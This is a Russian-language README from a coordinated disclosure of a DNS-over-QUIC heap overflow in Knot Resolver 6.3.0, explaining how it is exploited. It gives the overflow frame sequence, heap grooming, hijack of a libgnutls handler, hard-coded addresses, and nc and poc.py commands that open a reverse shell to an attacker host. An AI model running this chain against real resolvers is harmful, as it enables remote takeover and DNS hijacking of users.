
CVE-2026-66374: Knot Resolver 6.3.0 DNS-over-QUIC переполнение кучи (RCE)
Доказательство концепции удаленно срабатываемого переполнения буфера в куче в пути приема DNS-over-QUIC (DoQ) Knot Resolver, которое приводит к удаленному выполнению кода от имени пользователя службы knot-resolver.
kresd (daemon/quic_conn.c)6.3.0-cznic.1~bookworm)knot-resolver; как минимум, удаленный сбой / DoSОпубликовано вместе с исправлением от вендора и уведомлением в рамках координированного раскрытия. Только для авторизованных исследований безопасности и защитной проверки.
Полная удаленная эксплуатация — эксплойт запускается с машины атакующего через DNS-over-QUIC, и обратная оболочка knot-resolver принимается на nc (нажмите для видео в полном разрешении):
Knot Resolver — это кэширующий рекурсивный DNS-резолвер с открытым исходным кодом, разработанный CZ.NIC (реестром .cz). Он разрешает DNS-запросы от имени клиентов — устройств конечных пользователей, флотов резолверов интернет-провайдеров и публичных служб резолверов — и кэширует ответы. Он поддерживает современные зашифрованные транспорты, включая DNS-over-TLS (DoT), DNS-over-HTTPS (DoH) и DNS-over-QUIC (DoQ), и включает проверку DNSSEC и агрессивное кэширование.
Он популярен в средах крупных интернет-провайдеров, где его богатые возможности (программируемая политика, DNSSEC, зашифрованные транспорты, детализированное кэширование) и высокая производительность делают его хорошо подходящим для обслуживания очень больших баз абонентов.
Демон (kresd) — это долгоживущий сетевой сервис, который напрямую подвергается недоверенному вводу от любого хоста, способного достичь его порта прослушивания. Это делает ошибку повреждения памяти в пути приема пакетов — подобную той, что эксплуатируется здесь — удаленно доступной поверхностью атаки без аутентификации: компрометация резолвера позволяет злоумышленнику подделывать DNS-ответы для каждого нижестоящего клиента, т.е. перенаправлять или перехватывать практически весь их трафик.
kr_recv_stream_data_cb() собирает кадры DoQ STREAM во входной буфер для каждого соединения (pers_inbuf). Он увеличивает этот буфер с помощью
pers_inbuf.size += datalen; /* bug: accumulates, never re-baselines */
вместо установки размера на новое общее значение. На протяжении нескольких кадров отслеживаемый size дрейфует выше фактического выделения. Поэтому последний кадр, чей datalen помещается под завышенный size, пропускает перевыделение, но последующий memcpy() ограничивается этим завышенным размером — так он записывает за конец объекта. jemalloc удерживает объект привязанным к его реальному классу размера, поэтому лишние байты попадают в соседний слот slab.
Последовательность из шести кадров на одном потоке проводит pers_inbuf через пять классов размера jemalloc в класс 6144 байта, а затем переполняется в соседний слот:
F1 datalen=8 начальное выделение 1200 байт
F2 datalen=1440 realloc -> 1536-class
F3 datalen=1440 realloc -> 3072-class
F4 datalen=1440 realloc -> 5120-class
F5 datalen=1440 realloc -> 6144-class
F6 datalen=1200, FIN нет перевыделения -> запись 814 байт за границы в slot+1
Легковесное grooming соединений (открыть несколько DoQ-соединений, освободить половину непосредственно перед запуском) организует, чтобы slot+1 содержал обработчик очистки libgnutls. Переполнение перезаписывает указатель диспетчеризации этого обработчика, его аргумент и флаг, управляющий диспетчеризацией. Во время разрыва соединения libgnutls выполняет
call *0x110(%rbx) ; %rbx = attacker-controlled slot+1
давая контроль над указателем инструкции (RIP) и первым аргументом (RDI). PoC направляет это на system() с указателем на предоставленную атакующим строку команды, записанную в тот же слот.
Этот PoC нацелен на хост с отключенным ASLR (kernel.randomize_va_space = 0). При отключенной рандомизации адреса кучи и libc детерминированы, поэтому два адреса, необходимые эксплойту (slot+1 и system()), являются константами для данной сборки. Обход ASLR — это отдельная задача и намеренно выходит за рамки здесь — цель состоит в демонстрации примитива повреждение памяти → управление потоком → выполнение кода в изоляции.
Поскольку эти адреса детерминированы, утечка информации не требуется: эксплойт работает полностью по сети с удаленного хоста. Адреса восстанавливаются один раз с помощью шага probe (ниже) на любой идентичной сборке, а затем жестко закодированы; в эталонной сборке они равны slot+1 = 0x7ffff66c5000 и system = 0x7ffff746a490.
| Файл | Назначение |
|---|---|
poc.py | Эксплойт. Режимы: probe, rip, exec. |
probe.gdb | Оракул gdb, читающий детерминированный pers_inbuf. |
README.md | Этот документ. |
Требуется Python 3 с aioquic и netcat на стороне атакующего, а также gdb на цели только для одноразового шага probe.
Это основная демонстрация: эксплойт запускается с машины атакующего по сети с двумя жестко закодированными детерминированными адресами. Ничего не считывается с цели — ни /proc, ни gdb, ни журналы.
# On the attacker box: listen for the shell
$ nc -lvnp 4444 # Linux; on macOS/BSD: nc -l 4444
# In another terminal: fire the exploit at the target's DoQ port
$ python3 poc.py exec \
--host <target> --port 8853 \
--slot1 0x7ffff66c5000 \
--system 0x7ffff746a490 \
--lhost <attacker-ip> --lport 4444 \
--rounds 250
Каждый успешный раунд вызывает system() на цели с командой обратной оболочки; оболочка подключается обратно к --lhost:--lport, где nc принимает ее. Когда она появится, вводите команды в сессию netcat для управления оболочкой:
knot-resolver@doqlab:/run/knot-resolver$ id; hostname; uname -srm
uid=104(knot-resolver) gid=109(knot-resolver) groups=109(knot-resolver)
doqlab
Linux 6.1.0-50-cloud-amd64 x86_64
Значения --slot1 / --system восстанавливаются один раз с помощью шага probe на любой идентичной сборке; они являются константами при выключенном ASLR.
Значения --slot1 / --system выше являются константами при выключенном ASLR; восстановите их один раз на любой идентичной сборке. Предварительное условие:
$ sudo sysctl -w kernel.randomize_va_space=0
# slot+1 : gdb oracle reads the deterministic pers_inbuf, +0x1800
$ sudo gdb -batch -p "$(pidof /usr/sbin/kresd)" -x probe.gdb &
$ sudo ./venv/bin/python3 poc.py probe
$ grep slot1 /tmp/pers_inbuf_oracle.txt
CONSUME: buf=0x7ffff66c3800 slot1=0x7ffff66c5000
# system : libc base (ASLR off) + system() offset
$ addr=$(grep -m1 libc.so /proc/$(pidof /usr/sbin/kresd)/maps | cut -d- -f1)
$ printf 'system = 0x%x\n' $((0x$addr + 0x$(readelf --dyn-syms /lib/x86_64-linux-gnu/libc.so.6 | awk '$8 ~ /^system@/ {print $2; exit}')))
poc.py rip --rounds 8 дополнительно демонстрирует прямой контроль RIP/RDI (цель падает по указателю инструкции, выбранному атакующим).
Измерено на эталонной сборке (Debian 12, 6.3.0-cznic.1, ASLR отключен):
| Примитив | Частота |
|---|---|
Управление RIP/RDI (rip, сбой) | ~7/8 за раунд |
Полное выполнение system() (exec) | ~1 из 30–50 раундов |
Разрыв неизбежен: system() выполняется на куче, которую только что повредило переполнение, поэтому большинство диспетчеризаций приводят к сбою kresd до появления дочернего процесса. Демон перезапускается супервизором после каждого сбоя, адрес детерминирован при выключенном ASLR, и каждая попытка независима — поэтому цикл exec просто повторяет попытки, пока одна не сработает (в удаленном запуске выше оболочка появилась на 5-м раунде). Неудачная попытка — это временный сбой рабочего процесса (DoS). Параметры подготовки --groom 16 --close 8 --qpc 4 являются эмпирически лучшими значениями по умолчанию; более интенсивное закрытие (например, --close 16 при --groom 32) снижает процент попаданий.
ОС Debian 12 (bookworm), glibc 2.36
kresd knot-resolver6 6.3.0-cznic.1~bookworm
libgnutls 3.7.9-2+deb12u7
config слушатель DoQ на 127.0.0.1@8853
Геометрия классов размера (шесть кадров, полезные нагрузки 1200/1440 байт) и смещение диспетчеризации libgnutls специфичны для этой сборки; для других сборок необходимо заново вывести размеры кадров и смещения.
| Дата | Событие |
|---|---|
| 2026-06-08 | Уязвимость сообщена вендору (CZ.NIC). |
| 2026-07-22 | Исправление выпущено в Knot Resolver 6.4.1 с уведомлением от вендора. |
| 2026-07-23 | Опубликованы этот PoC и описание. |
Сообщено вендору 2026-06-08 и опубликовано в координации с официальным исправлением (6.4.1, 2026-07-22). Предоставлено для авторизованного тестирования, защитной проверки и исследований. Не запускайте его против систем, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения.
SPDX-License-Identifier: MIT